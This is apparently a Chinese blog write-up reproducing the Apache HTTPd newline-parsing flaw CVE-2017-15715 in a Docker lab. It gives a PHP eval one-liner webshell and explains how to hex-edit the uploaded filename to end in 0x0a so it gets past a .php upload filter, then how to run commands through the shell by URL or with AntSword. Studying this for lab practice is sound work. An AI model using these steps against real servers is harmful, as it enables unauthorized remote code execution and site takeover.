Apache HTTPd换行解析漏洞复现CVE-2017-15715

发布时间 2023-08-17 11:47:07作者: admin_hello

Apache HTTPd换行解析漏洞复现CVE-2017-15715

漏洞利用

漏洞利用条件

Apache: 2.4.0~2.4.29

实际存到后端时的文件名可控

漏洞利用方式

bp中更改存放到后端的文件名

假设

原文件名为"evil.php"
文件存放在网站根目录下
evil.php的内容为:
<?php
@eval($_REQUEST[1]);
?>

操作:

先将"evil.php"改成"evil.php "即"evil.php[0x20]"
然后通过hex将其改为"evil.php[0x0a]"
URL访问:http://ip/evil.php%0a?1=phpinfo();
或蚁剑连接:http://ip/evil.php%0a ,密码是1

前置知识

  • 当我们提到 Apache HTTP Server 时,通常指的是整个软件包,它包括了HTTP服务器的核心功能、模块化架构、配置文件、运行时环境等。Apache HTTP Server 提供了完整的 Web 服务器解决方案,可以用于托管和提供网站内容。

  • httpd 则是 Apache HTTP Server 的具体可执行程序的名称(通常在 Unix/Linux 系统上)。通过运行 httpd守护进程,Apache HTTP Server 开始监听指定的端口(例如默认的80端口),接收来自客户端的HTTP请求,并根据配置文件进行相应的处理和响应。

  • httpd可以通过mod_php来运行PHP网页。其存在一个解析漏洞,在解析PHP时,如1.php0x0A将被按照1.php进行解析,导致绕过一些服务器的安全策略。

  • mod_php 是 Apache 的一个模块,它允许将 PHP 解释器嵌入到 Apache 的进程中,并通过该模块将 PHP 代码集成到 Apache 的请求处理流程中。当 Apache 收到一个包含 PHP 代码的网页请求时,mod_php 模块负责解析该请求,将 PHP 代码交给 PHP 解释器进行解释执行,然后将执行结果返回给客户端浏览器。

当然,除了mod_php,还存在其他方式来运行PHP网页:

1.PHP-FPM(PHP FastCGI Process Manager):PHP-FPM 是一个独立的进程管理器,通过 FastCGI 协议与 Web 服务器(例如 Apache 或 Nginx)进行通信。PHP-FPM 可以独立于 Web 服务器运行,提供更高的性能和灵活性。​

2.CGI(Common Gateway Interface):CGI 是一种标准的 Web 服务器和应用程序之间的接口协议。通过将 PHP 解释器
作为 CGI 程序来运行 PHP 网页,Web 服务器可以通过 CGI 协议与 PHP 解释器进行通信并执行 PHP 代码。

3.FastCGI:FastCGI 是一种改进的 CGI 协议,它使用长连接和进程池的方式提高了性能。类似于 CGI,FastCGI 可以将
PHP 解释器作为独立的进程来运行 PHP 网页,并通过协议与 Web 服务器进行通信

怎么选择?

这些方法都可以用来运行 PHP 网页,选择哪种方法取决于你的需求和配置。例如,mod_php 对于简单的 PHP 应用程序和较小的网站是一个简便且高效的选择,而 PHP-FPM 和 FastCGI 则适用于更大型、高流量的网站,提供更好的性能和可扩展性。

环境配置

find ./ -name *CVE-2017*
cd ./httpd/CVE-2017-15715
docker-compose build
docker-compose up -d
docker ps # 8080端口

image-20230815111417316

漏洞复现

访问8080端口得:

image-20230815114722086

尝试直接提交木马文件:

image-20230815120951334

image-20230815121353395

试着将php改为txt试试:

image-20230815121521367

说明过滤的是.php

根据漏洞,1.php[0x0a]和1.php具有相同的效果,所以尝试绕过:

image-20230815125340467

image-20230815124753685

原来:"eval_POST2.php"
先改成:"eval_POST2.php "即:"eval_POST2.php[0x20]"
然后通过Hex,将其改为"eval_POST2.php[0x0a]"
改完后发送

回显:

payload:

http://192.168.40.148:8080/evil.php%0a?1=phpinfo();

image-20230815125511690

顺便查看后端的情况:

docker exec <ID> /bin/bash
ls
cat e*

image-20230815125651875

蚁剑连接:

image-20230815125810360

问:直接在bp的evil.php后换行可以吗?

答:

我们来看看直接换行后是什么

image-20230815130529790

Hex:

image-20230815130613970

URL访问:

image-20230815130700955

没有出现404,但是也没有解析一句话木马

蚁剑也是一样:

image-20230815130824995

来看看后台:可见一句话木马并没有什么异常

image-20230815130758212

所以还是通过Hex得出0a比较好

如果有大佬知道怎么解释,欢迎留言